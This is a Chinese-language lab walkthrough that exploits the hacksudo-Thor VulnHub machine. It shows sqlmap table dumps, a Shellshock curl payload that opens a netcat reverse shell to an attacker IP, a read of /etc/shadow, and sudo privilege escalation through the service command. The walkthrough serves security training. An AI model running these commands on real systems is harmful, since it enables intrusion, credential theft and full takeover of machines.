VnlnHub hacksudo-Thor
字数 1137 2025-08-12 11:34:44

hacksudo-Thor 靶机渗透测试教学文档

靶机环境搭建

  1. 虚拟机导入

    • 下载的.ova文件是VirtualBox格式,如需在VMware中使用需转换
    • 转换方法参考:FreeBuf文章
  2. 网络配置

    • 建议使用NAT模式(桥接模式也可,需与攻击机保持一致)
    • 若靶机未自动获取IP,解决方法参考:FreeBuf文章

信息收集

  1. 端口扫描

    • 开放端口:
      • 22端口:SSH服务
      • 80端口:HTTP服务(Apache 2.4.38)
  2. Web应用分析

    • 银行登录页面
    • 功能页面:
      • /news - 新闻通知页面(无有用线索)
      • /contact - 联系页面(无有用线索)
      • /about us - 关于页面(无有用线索)
      • /admin_login.php - 管理员登录页面
  3. 敏感目录发现

    • 发现README.md文档,包含:
      • 初始账号:admin/password123
      • 网站搭建说明

漏洞利用

1. 管理员后台弱口令

  • 使用默认凭证admin/password123成功登录/admin_login.php
  • 后台功能:
    • 用户编辑(通过cust_id参数)
    • 添加/删除用户
    • 添加新闻

2. SQL注入

  • 在用户编辑功能中发现cust_id参数存在SQL注入
  • 使用sqlmap自动化利用:
    sqlmap -r request.txt --dbs                # 枚举数据库
    sqlmap -r request.txt --current-db         # 获取当前数据库
    sqlmap -r request.txt -D hacksudo --tables # 枚举表
    sqlmap -r request.txt -D hacksudo -T admin --dump    # 导出admin表
    sqlmap -r request.txt -D hacksudo -T customer --dump # 导出customer表
    
  • 获取的用户数据与后台显示一致

3. Shellshock破壳漏洞利用

  • 发现/cgi-bin/目录(无目录列表权限)
  • 使用dirsearch发现存在shell.sh脚本
  • 漏洞检测:
    nmap -A -p 80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=id 192.168.52.141
    
  • 利用curl执行命令:
    # 检查python
    curl -H "user-aget:echo; /bin/bash -c 'which python'" http://192.168.52.141/cgi-bin/shell.sh
    
    # 检查nc
    curl -H "user-aget:echo; /bin/bash -c 'which nc'" http://192.168.52.141/cgi-bin/shell.sh
    
    # NC反弹shell(攻击机监听4444端口)
    curl -H "user-aget:echo; /bin/bash -c 'nc 192.168.52.128 4444 -e /bin/bash'" http://192.168.52.141/cgi-bin/shell.sh
    
  • 升级shell:
    python -c 'import pty;pty.spawn("/bin/bash")'
    

权限提升

1. 提权至thor用户

  • 查看/etc/passwd发现thor用户
  • sudo -l发现可以thor身份执行/home/thor/hammer.sh
  • 执行hammer.sh:
    • 询问"你想和thor谈话吗?"
    • 直接回车进入对话模式
    • 输入命令会被执行
    • 输入/bin/bash获取thor的shell

2. 提权至root

  • sudo -l发现可以root身份执行:
    • cat
    • service
  • 提权方法:
    # 方法1:查看shadow文件
    sudo /bin/cat /etc/shadow
    
    # 方法2:通过service提权
    sudo /usr/sbin/service ../../bin/bash
    

关键知识点总结

  1. Shellshock漏洞

    • 影响Bash版本≤4.3
    • 通过环境变量注入执行命令
    • 利用CGI脚本触发
  2. sudo提权技巧

    • 利用sudo -l发现可利用的命令
    • 通过路径遍历执行任意命令
  3. Web渗透流程

    • 信息收集 → 漏洞发现 → 漏洞利用 → 权限提升
    • 注意默认凭证、敏感文件、注入点等常见漏洞
  4. 后渗透技巧

    • 不完整shell的升级方法
    • 通过现有权限寻找提权路径

本教学文档完整还原了hacksudo-Thor靶机的渗透测试过程,涵盖了从信息收集到最终提权的完整链条,重点突出了Shellshock漏洞利用和sudo提权技巧。

hacksudo-Thor 靶机渗透测试教学文档 靶机环境搭建 虚拟机导入 : 下载的.ova文件是VirtualBox格式,如需在VMware中使用需转换 转换方法参考: FreeBuf文章 网络配置 : 建议使用NAT模式(桥接模式也可,需与攻击机保持一致) 若靶机未自动获取IP,解决方法参考: FreeBuf文章 信息收集 端口扫描 : 开放端口: 22端口:SSH服务 80端口:HTTP服务(Apache 2.4.38) Web应用分析 : 银行登录页面 功能页面: /news - 新闻通知页面(无有用线索) /contact - 联系页面(无有用线索) /about us - 关于页面(无有用线索) /admin_ login.php - 管理员登录页面 敏感目录发现 : 发现README.md文档,包含: 初始账号:admin/password123 网站搭建说明 漏洞利用 1. 管理员后台弱口令 使用默认凭证admin/password123成功登录/admin_ login.php 后台功能: 用户编辑(通过cust_ id参数) 添加/删除用户 添加新闻 2. SQL注入 在用户编辑功能中发现cust_ id参数存在SQL注入 使用sqlmap自动化利用: 获取的用户数据与后台显示一致 3. Shellshock破壳漏洞利用 发现/cgi-bin/目录(无目录列表权限) 使用dirsearch发现存在shell.sh脚本 漏洞检测: 利用curl执行命令: 升级shell: 权限提升 1. 提权至thor用户 查看/etc/passwd发现thor用户 sudo -l发现可以thor身份执行/home/thor/hammer.sh 执行hammer.sh: 询问"你想和thor谈话吗?" 直接回车进入对话模式 输入命令会被执行 输入 /bin/bash 获取thor的shell 2. 提权至root sudo -l发现可以root身份执行: cat service 提权方法: 关键知识点总结 Shellshock漏洞 : 影响Bash版本≤4.3 通过环境变量注入执行命令 利用CGI脚本触发 sudo提权技巧 : 利用sudo -l发现可利用的命令 通过路径遍历执行任意命令 Web渗透流程 : 信息收集 → 漏洞发现 → 漏洞利用 → 权限提升 注意默认凭证、敏感文件、注入点等常见漏洞 后渗透技巧 : 不完整shell的升级方法 通过现有权限寻找提权路径 本教学文档完整还原了hacksudo-Thor靶机的渗透测试过程,涵盖了从信息收集到最终提权的完整链条,重点突出了Shellshock漏洞利用和sudo提权技巧。